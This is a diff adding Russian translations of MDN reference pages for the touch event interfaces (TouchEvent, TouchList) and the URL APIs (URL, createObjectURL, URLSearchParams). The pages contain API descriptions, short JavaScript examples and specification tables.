+ <dd>Список {{ domxref("TouchList") }} со всеми объектами {{ domxref("Touch") }}, представляющими <span class="tlid-translation translation" lang="ru"><span title="">текущие точки касания с сенсорной поверхностью,</span></span> которые находятся на одном и том же целевом элементе target.</dd>
+ <dt>{{ domxref("TouchEvent.touches") }} {{readonlyInline}}</dt>
+ <dd>Список {{ domxref("TouchList") }} со всеми объектами {{ domxref("Touch") }}, представляющими текущие точки касания с сенсорной поверхностью, вне зависимости от целевого элемента и статуса.</dd>
+ <dt>{{domxref("TouchEvent.rotation")}} {{non-standard_inline()}} {{readonlyInline}}</dt>
+ <dd>Изменение угла поворота (в градусах) с момента начала события. Положительные значения указывают на вращение по часовой стрелке, отрицательные - против часовой стрелки. Начальное значение <code>0.0</code></dd>
+ <dt>{{domxref("TouchEvent.scale")}} {{non-standard_inline()}} {{readonlyInline}}</dt>
+ <dd>Расстояние между двумя цифрами с момента начала события. Является числом с плавающей точкой, отражающим расстояние между двумя цифрами в начале события. Значения ниже 1.0 указывают на щипок (уменьшение зума), больше 1.0 - увеличение. Начальное значение: <code>1.0</code></dd>
+</dl>
+
+<h2 id="Типы_событий_касания">Типы событий касания</h2>
+
+<p><span class="tlid-translation translation" lang="ru"><span title="">Существует несколько типов событий, которые могут происходить в ответ на касания</span></span>. О<span class="tlid-translation translation" lang="ru"><span title="">пределить, какое именно событие произошло, можно с помощью свойства </span></span>{{ domxref("event.type", "TouchEvent.type") }}.</p>
+
+<h3 id="domxrefElementtouchstart_event_touchstart">{{domxref("Element/touchstart_event", "touchstart")}}</h3>
+
+<p>Происходит, когда пользователь касается сенсорной поверхности. Целью события будет являться экземпляр {{ domxref("Element") }}, которого коснулись.</p>
+
+<h3 id="domxrefElementtouchend_event_touchend">{{domxref("Element/touchend_event", "touchend")}}</h3>
+
+<p>Происходит, когда пользователь удаляет точку касания поверхности (убирает палец или стилус с поверхности). Также это событие Происходит, если точка касания уходит за границы поверхности; например, если палец пользователя выходит за границу экрана.</p>
+
+<p>Цель события - тот же экземпляр {{ domxref("Element") }}, что и для события <code>touchstart</code> с соответствующей точкой касания, даже если точка касания переместилась за пределы элемента.</p>
+
+<p>Точки касания, удаленные с поверхности, содержатся в списке {{ domxref("TouchList") }}, который можно получить через атрибут <code>changedTouches</code> события.</p>
+
+<h3 id="domxrefElementtouchmove_event_touchmove">{{domxref("Element/touchmove_event", "touchmove")}}</h3>
+
+<p>Происходит, когда пользователь двигает точку касания по поверхности. Цель события - тот же экземпляр {{ domxref("element") }}, что и для события <code>touchstart</code> с соответствующей точкой касания, даже если точка касания переместилась за пределы элемента.</p>
+
+<p>Это событие также возникает, если изменилось значение радиуса, угла вращения или силы нажатия в точке касания.</p>
+
+<div class="note"><strong>Примечание:</strong> Промежуток времени, в течении которого возникают события <code>touchmove</code>, зависит от конкретного браузера, а также может сильно зависеть от возможностей устройства пользователя. Вам не следует полагаться на конкретную частоту возникновения этих событий.</div>
+
+<h3 id="touchcancel_event" name="touchcancel_event">{{domxref("Element/touchcancel_event", "touchcancel")}}</h3>
+
+<p>Происходит, если точка касания была по какой-либо причине удалена. Существует несколько возможных причин, почему это может произойти (и конкретные причины могут разниться от устройства к устройству, от браузера к браузеру):</p>
+
+<ul>
+ <li><span class="tlid-translation translation" lang="ru"><span title="">Произошло какое-то событие, отменившее прикосновение;</span> <span title="">это может произойти, если во время взаимодействия появляется модальное окно</span></span>.</li>
+ <li><span class="tlid-translation translation" lang="ru"><span title="">Точка касания покинула окно документа и переместилась в область пользовательского интерфейса браузера, подключаемого модуля или другого внешнего содержимого</span></span>.</li>
+ <li>Пользователь задал больше точек касания на экране, чем поддерживается, в этом случае наиболее ранние точки {{ domxref("Touch") }} в списке {{ domxref("TouchList") }} будут отменены.</li>
+</ul>
+
+<h3 id="Использование_addEventListener_и_preventDefault">Использование addEventListener() и preventDefault()</h3>
+
+<p>Важно отметить, что во многих случаях происходят и события касаний, и события мыши (чтобы код, не использующий касания, мог продолжать взаимодействовать с пользователем). Если вы используете события касания, вам следует вызывать {{domxref("Event.preventDefault","preventDefault()")}} для предотвращения отправки событий мыши.</p>
+
+<p>Исключением из этого правила является браузер Chrome, начиная с версии 56 (настольный, Chrome для android, и android webview), в которой значение по-умолчанию для {{event("touchstart")}} и {{event("touchmove")}} равно <code>true</code> и вызовы метода {{domxref("Event.preventDefault","preventDefault()")}} не требуются. Чтобы переопределить такое поведение, просто установите значение опции <code>passive</code> равным <code>false</code> как показано в примере ниже. Это изменение <span class="tlid-translation translation" lang="ru"><span title="">запрещает обработчику блокировать отрисовку страницы во время прокрутки пользователем</span></span>. Демонстрация этого доступна на сайте <a href="https://developers.google.com/web/updates/2016/06/passive-event-listeners">Google Developer</a>.</p>
+
+<h2 id="GlobalEventHandlers">GlobalEventHandlers</h2>
+
+<p>{{SeeCompatTable}}</p>
+
+<dl>
+ <dt>{{ domxref("GlobalEventHandlers.ontouchstart") }} {{experimental_inline}}</dt>
+ <dd>Обработчик {{domxref("GlobalEventHandlers","global event handler")}} для события {{event("touchstart")}}.</dd>
+ <dt>{{ domxref("GlobalEventHandlers.ontouchend") }} {{experimental_inline}}</dt>
+ <dd>Обработчик {{domxref("GlobalEventHandlers","global event handler")}} для события {{event("touchend")}}.</dd>
+ <dt>{{ domxref("GlobalEventHandlers.ontouchmove") }} {{experimental_inline}}</dt>
+ <dd>Обработчик {{domxref("GlobalEventHandlers","global event handler")}} для события {{event("touchmove")}}.</dd>
+ <dt>{{ domxref("GlobalEventHandlers.ontouchcancel") }} {{experimental_inline}}</dt>
+ <dd>Обработчик {{domxref("GlobalEventHandlers","global event handler")}} для события {{event("touchcancel")}}.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Смотрите <a href="/en/DOM/Touch_events#Example" title="en/DOM/Touch events#Example">пример в основной статье о событиях касания</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2','#touchevent-interface', 'TouchEvent')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Добавлены глобальные атрибуты обработчиков <code>ontouchstart</code>, <code>ontouchend</code>, <code>ontouchmove</code>, <code>ontouchend</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events', '#touchevent-interface', 'TouchEvent')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.TouchEvent")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Touch_events","Touch Events Overview")}}</li>
+ <li>{{domxref("GestureEvent")}}</li>
+ <li>{{domxref("MSGestureEvent")}}</li>
+</ul>
diff --git a/files/ru/web/api/touchevent/touches/index.html b/files/ru/web/api/touchevent/touches/index.html
new file mode 100644
index 0000000000..090fa66e70
--- /dev/null
+++ b/files/ru/web/api/touchevent/touches/index.html
@@ -0,0 +1,68 @@
+---
+title: TouchEvent.touches
+slug: Web/API/TouchEvent/touches
+translation_of: Web/API/TouchEvent/touches
+---
+<p>{{ APIRef("Touch Events") }}</p>
+
+<p><code><strong>touches</strong></code> это доступный только для чтения список {{ domxref("TouchList") }}, в котором перечислены все объекты {{ domxref("Touch") }} для точек контакта с сенсорной поверхностью, независимо от того, изменились ли они и какой целевой элемент был у них во время события {{event("touchstart")}}.</p>
+
+<p>Вы можете воспринимать это как перечисление отдельных пальцев, которые могут быть идентифицированы при касании экрана.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <em>touches</em> = <em>touchEvent</em>.touches;
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<dl>
+ <dt><code>touches</code></dt>
+ <dd>Список {{ domxref("TouchList") }} всех объектов {{ domxref("Touch") }} для точек контакта с сенсорной поверхностью, независимо от того, изменились ли они и какой целевой элемент был у них во время события {{event("touchstart")}}. </dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример демонтсрирует свойство {{domxref("TouchEvent.touches")}} объекта {{domxref("TouchEvent")}}. Свойство {{domxref("TouchEvent.touches")}} это объект {{domxref("TouchList")}}, который содержит список объектов {{domxref("Touch")}} для каждой активной точки контакта с сенсорной поверхностью.</p>
+
+<p>В следующем фрагменте кода обработчик события {{event("touchstart")}} проверяет длину списка {{domxref("TouchEvent.touches")}} для определения количества точек касаний, которые были активированы, а затем вызывает разные обработчики в зависимости от количества таких точек.</p>
+
+<pre class="brush: js notranslate">someElement.addEventListener('touchstart', function(e) {
+   // Вызов определённого обработчика, в зависимости от
+   // количества точек касания
+   switch (e.touches.length) {
+     case 1: handle_one_touch(e); break;
+     case 2: handle_two_touches(e); break;
+     case 3: handle_three_touches(e); break;
+     default: console.log("Not supported"); break;
+   }
+ }, false);
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2','#dom-touchevent-touches')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Non-stable version.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events','#widl-TouchEvent-touches')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.TouchEvent.touches")}}</p>
diff --git a/files/ru/web/api/touchlist/index.html b/files/ru/web/api/touchlist/index.html
new file mode 100644
index 0000000000..db1c5b0400
--- /dev/null
+++ b/files/ru/web/api/touchlist/index.html
@@ -0,0 +1,63 @@
+---
+title: TouchList
+slug: Web/API/TouchList
+translation_of: Web/API/TouchList
+---
+<div>{{ APIRef("Touch Events") }}</div>
+
+<p>Интерфейс <strong><code>TouchList</code></strong> представляет собой список точек касаний сенсорной поверхности. Например, если пользователь коснулся сенсорной поверхности (такой как экран или трекпад) тремя пальцами, соответствующий объект <code>TouchList</code> будет содержать по одному объекту {{domxref("Touch")}} для каждого пальца, всего три объекта.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("TouchList.length")}} {{readonlyInline}}</dt>
+ <dd>Количество объектов {{domxref("Touch")}} в <code>TouchList</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("TouchList.identifiedTouch()")}} {{obsolete_inline}}</dt>
+ <dd>Возвращает первый объект {{domxref("Touch")}} из списка, чей идентификатор соответствует заданному значению.</dd>
+ <dt>{{domxref("TouchList.item()")}}</dt>
+ <dd>Возвращает объект {{domxref("Touch")}}, находящийся в списке по указанному индексу</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<p>С примером можно ознакомиться в основной статье про <a href="/ru/docs/Web/API/Touch_events">События касаний (тач-события)</a></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2','#touchlist-interface')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Нестабильная версия.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events', '#touchlist-interface')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Первое упоминание</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Доступность_в_браузерах">Доступность в браузерах</h2>
+
+
+
+<p>{{Compat("api.TouchList")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/Touch_events">События касаний (тач-события)</a></li>
+ <li>{{domxref("Document.createTouchList()")}}</li>
+</ul>
diff --git a/files/ru/web/api/url/createobjecturl/index.html b/files/ru/web/api/url/createobjecturl/index.html
new file mode 100644
index 0000000000..bff6b425d5
--- /dev/null
+++ b/files/ru/web/api/url/createobjecturl/index.html
@@ -0,0 +1,66 @@
+---
+title: URL.createObjectURL()
+slug: Web/API/URL/createObjectURL
+translation_of: Web/API/URL/createObjectURL
+---
+<p>{{ApiRef("URL")}}{{SeeCompatTable}}</p>
+
+<h2 id="Определение">Определение</h2>
+
+<p><strong><code>URL.createObjectURL()</code></strong> - статический метод, который создает {{domxref("DOMString")}}, содержащий URL с указанием на объект, заданный как параметр. Время жизни URL связано с {{domxref("document")}} окна в котором он был создан. Новый URL объект может представлять собой {{domxref("File")}} объект или {{domxref("Blob")}} объект.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>objectURL</em> = URL.createObjectURL(<em>blob</em>);
+</pre>
+
+<h2 id="Параметры">Параметры</h2>
+
+<dl>
+ <dt><em>blob</em></dt>
+</dl>
+
+<dl>
+ <dd>Объект типа {{domxref("File")}} или {{domxref("Blob")}} для которого создается URL объект.</dd>
+</dl>
+
+<ul>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Смотрите <a href="/en-US/docs/Using_files_from_web_applications#Example_Using_object_URLs_to_display_images" title="https://developer.mozilla.org/en/Using_files_from_web_applications#Example:_Using_object_URLs_to_display_images">Using object URLs to display images</a>.</p>
+
+<h2 id="Заметки">Заметки</h2>
+
+<p>При каждом вызове <code>createObjectURL()</code>, создается новый URL объект, даже если он уже был ранее создан для того же самого объекта. Память для каждого из них нужно освобождать с помощью {{domxref("URL.revokeObjectURL()")}}, в том случае, если они больше не нужны. Браузер сделает это автоматически с выгрузкой объекта, тем не менее в целях оптимизации производительности и использования памяти, следует принудительно выгружать их по возможности.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#dfn-createObjectURL', 'URL')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.URL.createObjectURL")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("URL.revokeObjectURL()")}}</li>
+ <li><a href="/en-US/docs/Using_files_from_web_applications" title="Using files from web applications">Using files from web applications</a></li>
+</ul>
diff --git a/files/ru/web/api/url/index.html b/files/ru/web/api/url/index.html
new file mode 100644
index 0000000000..7ba8f09324
--- /dev/null
+++ b/files/ru/web/api/url/index.html
@@ -0,0 +1,119 @@
+---
+title: URL
+slug: Web/API/URL
+tags:
+  - API
+  - Experimental
+  - NeedsTranslation
+  - TopicStub
+  - URL API
+translation_of: Web/API/URL
+---
+<div>{{ApiRef("URL API")}} {{SeeCompatTable}}</div>
+
+<p>The <strong><code>URL</code></strong><strong> </strong>interface represent an object providing static methods used for creating object URLs.</p>
+
+<p>When using a user agent where no constructor has been implemented yet, it is possible to access such an object using the {{domxref("Window.URL")}} properties (prefixed with Webkit-based browser as <code>Window.webkitURL</code>).</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Implements properties defined in {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("URLUtils.href")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the whole URL.</dd>
+ <dt>{{domxref("URLUtils.protocol")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the protocol scheme of the URL, including the final <code>':'</code>.</dd>
+ <dt>{{domxref("URLUtils.host")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the host, that is the <em>hostname</em>, a <code>':'</code>, and the <em>port</em> of the URL.</dd>
+ <dt>{{domxref("URLUtils.hostname")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the domain of the URL.</dd>
+ <dt>{{domxref("URLUtils.port")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the port number of the URL.</dd>
+ <dt>{{domxref("URLUtils.pathname")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing an initial <code>'/'</code> followed by the path of the URL.</dd>
+ <dt>{{domxref("URLUtils.search")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a <code>'?'</code> followed by the parameters of the URL.</dd>
+ <dt>{{domxref("URLUtils.hash")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing a <code>'#'</code> followed by the fragment identifier of the URL.</dd>
+ <dt>{{domxref("URLUtils.username")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the username specified before the domain name.</dd>
+ <dt>{{domxref("URLUtils.password")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the password specified before the domain name.</dd>
+ <dt>{{domxref("URLUtils.origin")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the origin of the URL, that is its scheme, its domain and its port.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("URLUtils.searchParams")}}</dt>
+ <dd>Returns a {{domxref("URLSearchParams")}} object allowing to access the GET query arguments contained in the URL.</dd>
+</dl>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("URL.URL", "URL()")}}</dt>
+ <dd>Creates and return a <code>URL</code> object composed from the given parameters.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>The <code>URL</code> interface implements methods defined in {{domxref("URLUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("URLUtils.toString()")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("URLUtils.href")}}, though it can't be used to modify the value.</dd>
+</dl>
+
+<h2 id="Статические_методы">Статические методы</h2>
+
+<dl>
+ <dt>{{domxref("URL.createObjectURL()")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing a unique blob URL, that is a URL with <code>blob:</code> as its scheme, followed by an opaque string uniquely identifying the object in the browser.</dd>
+ <dt>{{domxref("URL.revokeObjectURL()")}}</dt>
+ <dd>Revokes an object URL previously created using {{domxref("URL.createObjectURL()")}}.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#creating-revoking', 'URL')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Добавлены статические методы <code>URL.createObjectURL()</code>, <code>URL.revokeObjectURL</code><code>()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#api', 'Node')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition (implements <code>URLUtils</code>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.URL")}}</p>
+
+<h2 id="Chrome_Code_-_Scope_Availability">Chrome Code - Scope Availability</h2>
+
+<p>To use from chrome code, JSM and Bootstrap scope, you have to import it like this:</p>
+
+<pre class="brush: js notranslate">Cu.importGlobalProperties(['URL']);
+</pre>
+
+<p><code>URL</code> is available in Worker scopes.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Property allowing to get such an object: {{domxref("Window.URL")}}.</li>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/ru/web/api/url/url/index.html b/files/ru/web/api/url/url/index.html
new file mode 100644
index 0000000000..7907e088a8
--- /dev/null
+++ b/files/ru/web/api/url/url/index.html
@@ -0,0 +1,121 @@
+---
+title: URL()
+slug: Web/API/URL/URL
+translation_of: Web/API/URL/URL
+---
+<p>{{SeeCompatTable}}{{APIRef("URL API")}}</p>
+
+<p>Конструктор <code><strong>URL()</strong></code> возвращает вновь созданный  {{domxref("URL")}} объект отражающий URL определяемый параметрами.</p>
+
+<p>If the given base URL or the resulting URL are not valid URLs, a {{domxref("DOMException")}} of type <code>SYNTAX_ERROR</code> is thrown.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>url</em> = new URL(<em>urlString</em>, [<em>baseURLstring</em>])
+<em>url</em> = new URL(<em>urlString</em>, <em>baseURLobject</em>)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><em>urlString</em></dt>
+ <dd>Is a {{domxref("DOMString")}} representing an absolute or relative URL. If <em>urlString</em> is a relative URL, <em>baseURLstring</em> or <em>baseURLobject</em>, whichever is present, will be used as the base URL. If <em>urlString</em> is an absolute URL, <em>baseURLstring</em> and <em>baseURLobject</em> are ignored.</dd>
+ <dt><em>baseURLstring </em>{{optional_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the base URL to use in case <em>urlString</em> is a relative URL. If not specified, and no <em>baseURLobject</em> is passed in parameters, it default to <code>'about:blank'</code>. If it is an invalid absolute URL, the constructor will raise a {{domxref("DOMException")}} of type <code>SYNTAX_ERROR</code></dd>
+ <dt><em>baseURLobject</em></dt>
+ <dd>Is a {{domxref("URL")}} object representing the base URL to use in case <em>urlString</em> is a relative URL.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js  language-js">var a = new URL("/", "https://developer.mozilla.org"); // Creates a URL pointing to 'https://developer.mozilla.org/'
+var b = new URL("https://developer.mozilla.org");      // Creates a URL pointing to 'https://developer.mozilla.org/'
+var c = new URL('en-US/docs', b);                      // Creates a URL pointing to 'https://developer.mozilla.org/en-US/docs'
+var d = new URL('/en-US/docs', b);                     // Creates a URL pointing to 'https://developer.mozilla.org/en-US/docs'
+var f = new URL('/en-US/docs', d);                     // Creates a URL pointing to 'https://developer.mozilla.org/en-US/docs'
+var g = new URL('/en-US/docs', "https://developer.mozilla.org/fr-FR/toto");
+                                                       // Creates a URL pointing to 'https://developer.mozilla.org/en-US/docs'
+var h = new URL('/en-US/docs', a);                     // Creates a URL pointing to 'https://developer.mozilla.org/en-US/docs'
+var i = new URL('/en-US/docs', '');                    // Raises a SYNTAX ERROR exception as '/en-US/docs' is not valid
+var j = new URL('/en-US/docs');                        // Raises a SYNTAX ERROR exception as 'about:blank/en-US/docs' is not valid
+var k = new URL('http://www.example.com', 'https://developers.mozilla.com');
+                                                       // Creates a URL pointing to 'http://www.example.com/'
+var l = new URL('http://www.example.com', b);          // Creates a URL pointing to 'http://www.example.com/'
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#constructors', 'URL.URL()')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("26.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("26.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>The interface it belongs to: {{domxref("URL")}}.</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/urlsearchparams/delete/index.html b/files/ru/web/api/urlsearchparams/delete/index.html
new file mode 100644
index 0000000000..a9a41726ed
--- /dev/null
+++ b/files/ru/web/api/urlsearchparams/delete/index.html
@@ -0,0 +1,60 @@
+---
+title: URLSearchParams.delete()
+slug: Web/API/URLSearchParams/delete
+translation_of: Web/API/URLSearchParams/delete
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p>Метод <strong><code>delete()</code> </strong>интерфейса {{domxref("URLSearchParams")}} удаляет все указанные параметры и все связанные с ним значения из списка найденых параметров.</p>
+
+<p>{{availableinworkers}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">URLSearchParams.delete(<em>name</em>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>name</dt>
+ <dd>Название удаляемого параметра.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Void</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">let url = new URL('https://example.com?foo=1&amp;bar=2&amp;foo=3');
+let params = new URLSearchParams(url.search.slice(1));
+
+// Удалить параметр foo.
+params.delete('foo'); //Строка запроса теперь: 'bar=2'</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('URL', '#dom-urlsearchparams-delete', "delete()")}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимые_браузеры">Совместимые браузеры</h2>
+
+<div>
+
+
+<p>{{Compat("api.URLSearchParams.delete")}}</p>
+</div>
diff --git a/files/ru/web/api/urlsearchparams/index.html b/files/ru/web/api/urlsearchparams/index.html
new file mode 100644
index 0000000000..a72525e018
--- /dev/null
+++ b/files/ru/web/api/urlsearchparams/index.html
@@ -0,0 +1,109 @@
+---
+title: URLSearchParams
+slug: Web/API/URLSearchParams
+translation_of: Web/API/URLSearchParams
+---
+<p>{{ApiRef("URL API")}}</p>
+
+<p><strong><code>URLSearchParams</code></strong> интерфейс определяет служебные методы для работы со строкой запроса URL.</p>
+
+<p>Объект, реализующий <code>URLSearchParams</code>, может непосредственно использоваться в структуре {{jsxref('Statements/for...of', 'for...of')}}, например, следующие две строки идентичны:</p>
+
+<pre><code>for (var p of mySearchParams);
+for (var p of mySearchParams.entries());</code>
+</pre>
+
+<p>{{availableinworkers}}</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("URLSearchParams.URLSearchParams", 'URLSearchParams()')}}</dt>
+ <dd>Конструктор возвращает объект <code>URLSearchParams</code>.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследование свойств отсутствует.</em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Отсутствует наследование методов</em></p>
+
+<dl>
+ <dt>{{domxref("URLSearchParams.append()")}}</dt>
+ <dd>Добавляет указанную пару key/value в качестве нового параметра поиска.</dd>
+ <dt>{{domxref("URLSearchParams.delete()")}}</dt>
+ <dd>Удаляет заданный параметр поиска и связанное с ним значение из списка всех параметров поиска.</dd>
+ <dt>{{domxref("URLSearchParams.entries()")}}</dt>
+ <dd>Возвращает {{jsxref ("Iteration_protocols", "iterator")}}, позволяющий пройти через все пары key/value, содержащиеся в этом объекте.</dd>
+ <dt>{{domxref("URLSearchParams.get()")}}</dt>
+ <dd>Возвращает первое значение, связанное с заданным параметром поиска.</dd>
+ <dt>{{domxref("URLSearchParams.getAll()")}}</dt>
+ <dd>Возвращает все значения ассоциации с заданным параметром поиска.</dd>
+ <dt>{{domxref("URLSearchParams.has()")}}</dt>
+ <dd>Возвращает {{jsxref ("Boolean")}}, указывающий, существует ли такой параметр поиска.</dd>
+ <dt>{{domxref("URLSearchParams.keys()")}}</dt>
+ <dd>Возвращает {{jsxref ("Iteration_protocols", "iterator")}}, позволяющий пройти все ключи пары key/value, содержащиеся в этом объекте.</dd>
+ <dt>{{domxref("URLSearchParams.set()")}}</dt>
+ <dd>Устанавливает значение, связанное с заданным параметром поиска, с заданным значением. Если было несколько значений, удалите остальные.</dd>
+ <dt>{{domxref("URLSearchParams.toString()")}}</dt>
+ <dd>Возвращает строку, содержащую строку запроса, подходящую для использования в URL-адресе.</dd>
+ <dt>{{domxref("URLSearchParams.values()")}}</dt>
+ <dd>Возвращает {{jsxref ("Iteration_protocols", "iterator")}}, позволяющий пройти через все значения пар key/value, содержащихся в этом объекте.</dd>
